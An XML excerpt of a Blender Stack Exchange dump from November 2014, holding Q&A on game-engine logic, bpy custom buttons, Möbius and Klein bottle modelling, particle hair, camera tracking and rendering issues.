  <row Id="18950" PostTypeId="2" ParentId="18949" CreationDate="2014-11-17T05:46:31.373" Score="2" Body="&lt;p&gt;When your player dies, change a property &#xA;(e.g. &quot;dead&quot; to &quot;1&quot;)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5RCC2.png&quot; alt=&quot;BGE property&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use a property sensor (&quot;dead&quot; == &quot;1&quot;?) and hook it up to scene actuator. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, there's a bit more to it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a collision sensor, colliding with property &quot;damage.&quot;  I added property &quot;damage&quot; to everything &lt;strong&gt;except the floor!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added health to your cube player, default 100.  connected collision sensor to property actuator add &quot;-50&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Created property sensor, health less than 1. connected to property actuator, dead = 1&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1Ymi4.png&quot; alt=&quot;logic bricks&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;created property sensor, dead equals 1, connected to change scene actuator. Probably could be more efficient, but it works! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll want to &quot;and&quot; a delay so your dramatic final collision plays out before changing scenes though&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/158/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend File&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="7610" LastEditorUserId="-1" LastEditDate="2017-03-14T09:10:21.057" LastActivityDate="2015-04-05T21:44:47.670" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18951" PostTypeId="1" CreationDate="2014-11-17T05:58:55.707" Score="2" ViewCount="5049" Body="&lt;p&gt;I would like to run 2 actions with a custom button. For example in edit mode I would like to run 1. Disolve edges and after that, 2. Disolve vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to create this custom button?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="8046" LastActivityDate="2014-11-17T10:48:22.290" Title="Run actions with a custom button" Tags="&lt;python&gt;&lt;modeling&gt;&lt;scripting&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18953" PostTypeId="1" CreationDate="2014-11-17T08:26:31.133" Score="4" ViewCount="11942" Body="&lt;p&gt;I created a simple male base mesh and put some fur and hair on him. However, whenever I rig the character and try to pose him the fur doesn't move along with the body, which confusing me.&lt;br&gt;&#xA;Here is my &lt;strong&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/157/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/strong&gt;. &lt;/p&gt;&#xA;" OwnerUserId="5420" LastEditorUserId="33811" LastEditDate="2017-11-03T20:42:56.683" LastActivityDate="2021-02-26T13:17:57.053" Title="rigged character's hair/particle system doesn't follow the movements" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18954" PostTypeId="2" ParentId="14822" CreationDate="2014-11-17T10:15:39.433" Score="6" Body="&lt;ul&gt;&#xA;&lt;li&gt;Add a plane in Front view;&lt;/li&gt;&#xA;&lt;li&gt;in Object mode, &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;90&lt;/kbd&gt;;&lt;/li&gt;&#xA;&lt;li&gt;In Edit mode, &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;90&lt;/kbd&gt; (or &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;90&lt;/kbd&gt; in this case);&lt;/li&gt;&#xA;&lt;li&gt;Add an Array modifier;&lt;/li&gt;&#xA;&lt;li&gt;Add an Simple Deform modifier, set type to &lt;strong&gt;Twist&lt;/strong&gt;, set &lt;em&gt;Angle&lt;/em&gt; to &lt;code&gt;180&lt;/code&gt; (or 180*n, depending on how many turns you want).&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add another Simple Deform modifier, set type to &lt;em&gt;Bend&lt;/em&gt;; Create an empty, set it as Origin in the modifier panel, and type &lt;code&gt;360&lt;/code&gt; as &lt;em&gt;Angle&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once the result is expected, &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; -&gt; &lt;strong&gt;Mesh from Curve/Meta/Surf/Text&lt;/strong&gt; to apply all modifiers, then go to Edit mode, &lt;kbd&gt;W&lt;/kbd&gt; -&gt; &lt;strong&gt;Remove Doubles&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt;&#xA;Simple Deform modifiers operate around &lt;strong&gt;Local Z&lt;/strong&gt; Axis. &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Simple_Deform&quot; rel=&quot;nofollow noreferrer&quot;&gt;Click&lt;/a&gt; to learn more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4XBNl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B1ojv5B6Lb-3c0FvVGFhd0RzWEE/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;example file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advantages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Adjustable subdivision level (by Array);&lt;/li&gt;&#xA;&lt;li&gt;Adjustable loop turns (by Bending to 180*n);&lt;/li&gt;&#xA;&lt;li&gt;Animatable.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A mobius curve can also be generated by the &lt;strong&gt;Extra Objects&lt;/strong&gt; addon.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enable it in Addon list;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt; Curve -&gt; Torus Knot Plus;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;F6&lt;/kbd&gt;, set &lt;code&gt;p=2&lt;/code&gt; &lt;code&gt;q=1&lt;/code&gt;, then tweak other parameters as you want.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lK5cs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Mhk4d.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dIpD0.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qRLHw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B1ojv5B6Lb-3Q1VNMlVFTGQ3SGM/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;example file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-04-06T01:30:48.643" LastActivityDate="2015-04-06T01:30:48.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18955" PostTypeId="1" AcceptedAnswerId="18956" CreationDate="2014-11-17T10:21:29.733" Score="10" ViewCount="3266" Body="&lt;p&gt;How can you model a &lt;a href=&quot;http://en.wikipedia.org/wiki/Klein_bottle&quot; rel=&quot;noreferrer&quot;&gt;Klein bottle&lt;/a&gt;, such as this one?&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ywsGj.png&quot; alt=&quot;Kleine bottle&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorUserId="-1" LastEditDate="2014-11-17T16:38:53.653" LastActivityDate="2018-02-22T16:39:30.963" Title="Modelling a Klein bottle" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18956" PostTypeId="2" ParentId="18955" CreationDate="2014-11-17T10:21:29.733" Score="17" Body="&lt;p&gt;There are most likely several methods, and they probably all have both drawbacks and advantages. I will show how to use the XYZ Math surface for this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, unless you have already done this, enable the Add Mesh: Extra Objects addon. Go to user preferences (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;), click the Addons tab, then Add Mesh. Make sure the check box for &lt;em&gt;Add Mesh: Extra Objects&lt;/em&gt; is ticked, then click Save user settings.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BDq5F.png&quot; alt=&quot;Enable extra objects&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then &lt;em&gt;Add&lt;/em&gt; &gt; &lt;em&gt;Mesh&lt;/em&gt; &gt; &lt;em&gt;Extra Objects&lt;/em&gt; &gt; &lt;em&gt;Math Function&lt;/em&gt; &gt; &lt;em&gt;XYZ Math Surface&lt;/em&gt;.&lt;br&gt;&#xA;This is what you will see&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4RkdH.png&quot; alt=&quot;XYZ Math Surface&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default object created by this is a snail shell. To get the Klein bottle, enter these equations. Just copy and paste from here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;X equation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$$-\frac{2}{15}\cos(u)\left(3\cos(v)-30\sin(u)+90\left(\cos(u)\right)^4\sin(u)\\&#xA;-60\left(\cos(u)\right)^6\sin(u)+5\cos(u)\cos(v)\sin (u)\right)$$&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-2/15*cos(u)*(3*cos(v)-30*sin(u)+90*cos(u)**4*sin(u)-60*cos(u)**6*sin(u)+5*cos(u)*cos(v)*sin(u))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Y equation:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$$-\frac{1}{15}\sin(u)\left(3\cos(v)-3\left(\cos(u)\right)^2\cos(v)-48\left(\cos(u)\right)^4\cos(v)+48\left(\cos(u)\right)^6\cos(v)\\&#xA;-60\sin(u)+5\cos(u)\cos(v)\sin(u)-5\left(\cos(u)\right)^3\cos(v)\sin(u)\\&#xA;-80\left(\cos(u)\right)^5\cos(v)\sin(u)+80\left(\cos(u)\right)^7\cos(v)\sin(u)\right)$$&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-1/15*sin(u)*(3*cos(v)-3*cos(u)**2*cos(v)-48*cos(u)**4*cos(v)+48*cos(u)**6*cos(v)-60*sin(u)+5*cos(u)*cos(v)*sin(u)-5*cos(u)**3*cos(v)*sin(u)-80*cos(u)**5*cos(v)*sin(u)+80*cos(u)**7*cos(v)*sin(u))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Z equation:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$$\frac{2}{15}\left(3+5\cos(u)\sin(u)\right)\sin(v)$$&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;2/15*(3+5*cos(u)*sin(u))*sin(v)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;U min: 0&lt;br&gt;&#xA;U max: &lt;code&gt;pi&lt;/code&gt; or (3.141592653589793)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;V min: 0&lt;br&gt;&#xA;V max: &lt;code&gt;2*pi&lt;/code&gt; or (6.28318530718)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;U steps and V steps control the number of vertices in each direction, the same as the number of segments and rings on a UV sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you enable U wrap, the opening of the bottle will be closed. You decide which you prefer. If you enable V wrap, some vertices will be lost, but I haven't been able to find where. I don't know at all what Close V does. It doesn't change either the appearance or the number of vertices and faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, these equations are very complex, and this has the drawback of making them difficult to modify. I will try to show you how to overcome that, using proportional editing and a scaling technique I learned from the answer to my own question in this thread: &lt;a href=&quot;https://blender.stackexchange.com/questions/18945&quot;&gt;Making a curved tube thinner or thicker without scaling its overall size&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go into Edit mode, and select all. Remove doubles (&lt;kbd&gt;W&lt;/kbd&gt; &lt;kbd&gt;R&lt;/kbd&gt;). Deselect all and make sure &lt;em&gt;Limit selection to visible&lt;/em&gt; is disabled.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure proportional editing (&lt;kbd&gt;O&lt;/kbd&gt;) is set to &lt;em&gt;Connected&lt;/em&gt; and proportional editing falloff (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;O&lt;/kbd&gt;) is set to smooth.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the vertices you want to modify.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wcxqG.png&quot; alt=&quot;Selection&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to make any part of the mesh bigger or smaller, Shrink Fatten (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;) is the tool. Scroll the mouse wheel to change the size of the sphere of influence of the proportional editing.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/i1A8o.png&quot; alt=&quot;Fatten&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to move any part of the bottle, keep proportional to its aforementioned settings, select the parts you want to move and drag them to where you want them. Like so:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cAb7E.png&quot; alt=&quot;Move&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat steps 2 through 4 until the bottle is to your liking.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You're done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;N.B. A Klein bottle is self intersecting, and therefore won't work as a fluid container with the current fluid simulation of Blender.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorUserId="2217" LastEditDate="2018-02-22T16:39:30.963" LastActivityDate="2018-02-22T16:39:30.963" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="18957" PostTypeId="1" AcceptedAnswerId="21203" CreationDate="2014-11-17T10:32:48.517" Score="4" ViewCount="546" Body="&lt;p&gt;My Flag does not move in the Game Engine.&#xA;I know how to make the flag work when not in the BGE, but when I move it over to the Game Engine the flag stops working.&lt;br&gt;&#xA;What could be wrong?&lt;/p&gt;&#xA;" OwnerUserId="8037" LastEditorUserId="2217" LastEditDate="2015-04-05T21:15:11.383" LastActivityDate="2015-04-05T21:15:11.383" Title="Flag does not move in the wind in Game Enigne" Tags="&lt;game-engine&gt;&lt;physics&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18958" PostTypeId="2" ParentId="18951" CreationDate="2014-11-17T10:48:22.290" Score="5" Body="&lt;p&gt;Too add custom buttons to the UI here in &lt;em&gt;3D view / Toolpanel&lt;/em&gt; you could something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class DissolvePanel(bpy.types.Panel):&#xA;    bl_label = &quot;Dissolve Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'VIEW_3D'&#xA;    bl_region_type = 'TOOLS'&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        col = layout.column(align=True)&#xA;        row = col.row(align=True)&#xA;        row.operator(&quot;mesh.dissolve_edges&quot;, text = &quot;Dissolve Edges&quot;)&#xA;        row.operator(&quot;mesh.dissolve_verts&quot;, text = &quot;Dissolve Verts&quot;)&#xA;        # invoke custom operator&#xA;        # row.operator(&quot;object.simple_operator&quot; , text = &quot;All&quot;)&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(DissolvePanel)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(DissolvePanel)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To run dissolve edges followed by dissolve vertices you would need to define your own operator, to enable the All button uncomment this line in the above script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# row.operator(&quot;object.simple_operator&quot; , text = &quot;All&quot;):&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Custom operator (from editor's templates)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;&#xA;def main(context):&#xA;    bpy.ops.mesh.dissolve_edges()&#xA;    bpy.ops.mesh.dissolve_verts()&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;    bl_label = &quot;Simple Object Operator&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.active_object is not None&#xA;&#xA;    def execute(self, context):&#xA;        main(context)&#xA;        return {'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleOperator)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;    # test call&#xA;    bpy.ops.object.simple_operator()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-11-17T10:48:22.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18959" PostTypeId="1" AcceptedAnswerId="19049" CreationDate="2014-11-17T11:44:31.507" Score="11" ViewCount="2100" Body="&lt;p&gt;At the half of my shot (constantly moving camera) there is a focal length change. In my first tests &lt;strong&gt;the camera is moving forward instead of zooming&lt;/strong&gt; into the scene. Is there a trick to automatically detect the focal length change?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Is it currently possible to reconstruct the camera from such a shot at all? Until now I only have found &lt;a href=&quot;http://wiki.blender.org/index.php/User:Sftrabbit/GSoC_2013/Proposal&quot;&gt;this proposal&lt;/a&gt;, but I could not figure out if this is part of blender.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2016-08-19T10:39:12.240" LastActivityDate="2016-08-19T10:39:12.240" Title="Tracking a shot with focal variation (zoom)" Tags="&lt;camera&gt;&lt;video&gt;&lt;tracking&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18960" PostTypeId="2" ParentId="18953" CreationDate="2014-11-17T12:13:04.520" Score="6" Body="&lt;p&gt;The problem may be with the modifiers order. Make sure that in the &lt;em&gt;'object modifiers panel'&lt;/em&gt; your &lt;strong&gt;Particle Systems are below the Armature&lt;/strong&gt;. See the printscreen below:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KDRaY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked your model and I think it demands a little clean up:). You should remove doubles before adding a hair. If you don't you may expect a strange hair behavior on your model. Please check out this topic:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/16489/problems-with-particle-hair-in-2-72-cycles&quot;&gt;Problems with particle hair in 2.72 (cycles)&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2014-12-01T19:38:06.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18961" PostTypeId="1" CreationDate="2014-11-17T12:13:17.363" Score="14" ViewCount="3077" Body="&lt;p&gt;I tried many fire simulations, I googled hours of hours about all imaginable keywords* in all sorts of combinations and I followed many many tutorials about smoke simulations. But I don't actually quite get an effect like in this &lt;a href=&quot;http://vimeo.com/49050290&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;3d projection mapping&lt;/em&gt; video&lt;/a&gt;, starting at around &lt;a href=&quot;https://i.imgur.com/iUBkF72.gifv&quot; rel=&quot;nofollow noreferrer&quot;&gt;1:35 until 1:50&lt;/a&gt; min which is exactly what I try to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;* The main keywords I used for searching: fire, smoke, simulation, flame, blender, ignition, burning, candle, heat, tutorial, video, howto, explained&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know, how to do this? I want to use Cycles for rendering, but my question is more about the particle systems settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://vimeo.com/49050290&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/byjf5.png&quot; alt=&quot;Screenshot: Burning Cube&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/9ySU8.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9ySU8.gif&quot; alt=&quot;Screencast Example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://vimeo.com/user1210585&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sebastian Łukaszuk&lt;/a&gt;, who created this effect originally, gave me this hint via mail: &lt;em&gt;&quot;Everything needed for the burning cube effect is some particle systems with small particles and force fields (turbulance and wind).&quot;&lt;/em&gt;&lt;br&gt;&#xA;He created it in the good old Blender Internal in September 2012. But since the new &lt;a href=&quot;https://www.youtube.com/watch?v=GhwzIQ6qZO8&amp;amp;t=7m43s&quot; rel=&quot;nofollow noreferrer&quot;&gt;Point Density Texture&lt;/a&gt; feature it should be able to be done in &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.76/Cycles&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cycles&lt;/a&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/users/3484&quot;&gt;Gottfried Hoffmann&lt;/a&gt; already brought out a &lt;a href=&quot;http://www.blenderdiplom.com/en/shop/611-point-density-magical-fx.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;video training&lt;/a&gt; about this &quot;&lt;a href=&quot;https://www.youtube.com/watch?v=wJietAeINTc&amp;amp;t=22m9s&quot; rel=&quot;nofollow noreferrer&quot;&gt;more sylized fire&lt;/a&gt; effect&quot;. And he already told me, &lt;em&gt;that the &quot;Basic Effect&quot; is heading into this direction, so with it it should be possible to inflame a cube like this.&lt;/em&gt; He's now up to bringing an update to his course that shows how to produce such a stylized fire with this Basic Effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know specific fire simulation/particle system settings for Cycles and needed Effect Fields to achieve this stylized fire effect. I don't need a general &quot;How To&quot; of setting up a Smoke Simulation - there are already enough tutorials out there for this topic and I know how to render fire with Cycles in general. The result should look pretty much like shown in the mentioned video including the beginning &quot;ignition&quot; effect... The wireframe cube is just a good example Object (you can use Suzanne as well) - my question is not about the cube itself, but about the fire effect and how to set it up as in the end I want to transfer this burning style to different models.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The color effect I try to achieve is exactly what was done for the great old &lt;a href=&quot;http://blendernews.org/xe/Feature_Articles/2526&quot; rel=&quot;nofollow noreferrer&quot;&gt;2.62 splash screen&lt;/a&gt;:&#xA;&lt;a href=&quot;http://blendernews.org/xe/2650&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mRplz.jpg&quot; alt=&quot;&amp;quot;Fire Flower&amp;quot; Concept Art&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2843" LastEditorUserId="2843" LastEditDate="2020-04-29T20:09:09.483" LastActivityDate="2020-04-29T20:09:09.483" Title="How to achieve a stylized burning (Wireframe) effect?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;animation&gt;&lt;particles&gt;&lt;smoke-simulation&gt;" AnswerCount="3" CommentCount="15" FavoriteCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="18962" PostTypeId="1" CreationDate="2014-11-17T12:43:50.980" Score="2" ViewCount="241" Body="&lt;p&gt;This is so frustrating. I'm working with Cycles and I have numerous bottom lit panels in my scene that are sucking up lots of CPU cycles (see pic). In the 3D window (set to 'rendered') they are showing up great. My idea was to bake them (combined), but all I ever got was a black plane.  So in desperation I decided I would 'grab' an image of the panel using Render Image (F-12) and save it &amp;amp; then use it directly as a texture node.  Guess what!?? F-12 gives me the same black image I was getting when baking the UV map.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/lJxjw.jpg&quot; alt=&quot;screen shot of blender Renders in viewport but not F-12&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7702" LastEditorUserId="2217" LastEditDate="2015-04-05T21:09:37.793" LastActivityDate="2015-04-05T21:09:37.793" Title="3D window renders, but Image Render doesn't?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18963" PostTypeId="1" CreationDate="2014-11-17T14:28:00.370" Score="3" ViewCount="451" Body="&lt;p&gt;I need to write a script that runs on Blender (2.72) and writes a YAML file containing the results. In normal python I would use &lt;code&gt;PyYAML&lt;/code&gt; and write something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import yaml&#xA;yaml.dump(['some', 'data'])&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems that Blender uses a different python interpreter than the one installed on my system (Ubuntu), thus, a different set of extensions. I tried copying the &lt;code&gt;PyYAML&lt;/code&gt; installation files to the Blender script directory &lt;code&gt;blender/2.72/scripts/modules&lt;/code&gt;. That way, I can import the library, but I get errors because the library has its own dependencies (I want to avoid having to install every sub-dependency manually).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I get a Python extension installed and working in Blender?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there an alternative method to write YAML files in Blender (using python)?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I will distribute the blender file containing the python script to other users, so it would be nice to have an easy-setup method! &lt;/p&gt;&#xA;" OwnerUserId="2391" LastActivityDate="2014-11-17T14:28:00.370" Title="How to write a YAML file with a Blender Python script" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ClosedDate="2014-11-17T19:49:50.870" ContentLicense="CC BY-SA 3.0" />
  <row Id="18964" PostTypeId="1" CreationDate="2014-11-17T15:41:32.090" Score="18" ViewCount="3381" Body="&lt;p&gt;Is it possible to render an image and have blender remember it, so that next time I open the file the &lt;em&gt;render result&lt;/em&gt; will not be blank?  &lt;strong&gt;I am not talking about saving to an external file.&lt;/strong&gt;  Specifically I would like to render an image, close blender, and come back later and be able to do some compositing on the render without having to waste a half an hour rendering it again (my GPU drivers are messed up so I have to use the CPU).  Currently the render result is blank when ever I open a file.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="55" LastEditDate="2014-11-17T23:53:04.450" LastActivityDate="2016-01-25T22:36:08.423" Title="How to save the render result within Blender" Tags="&lt;rendering&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
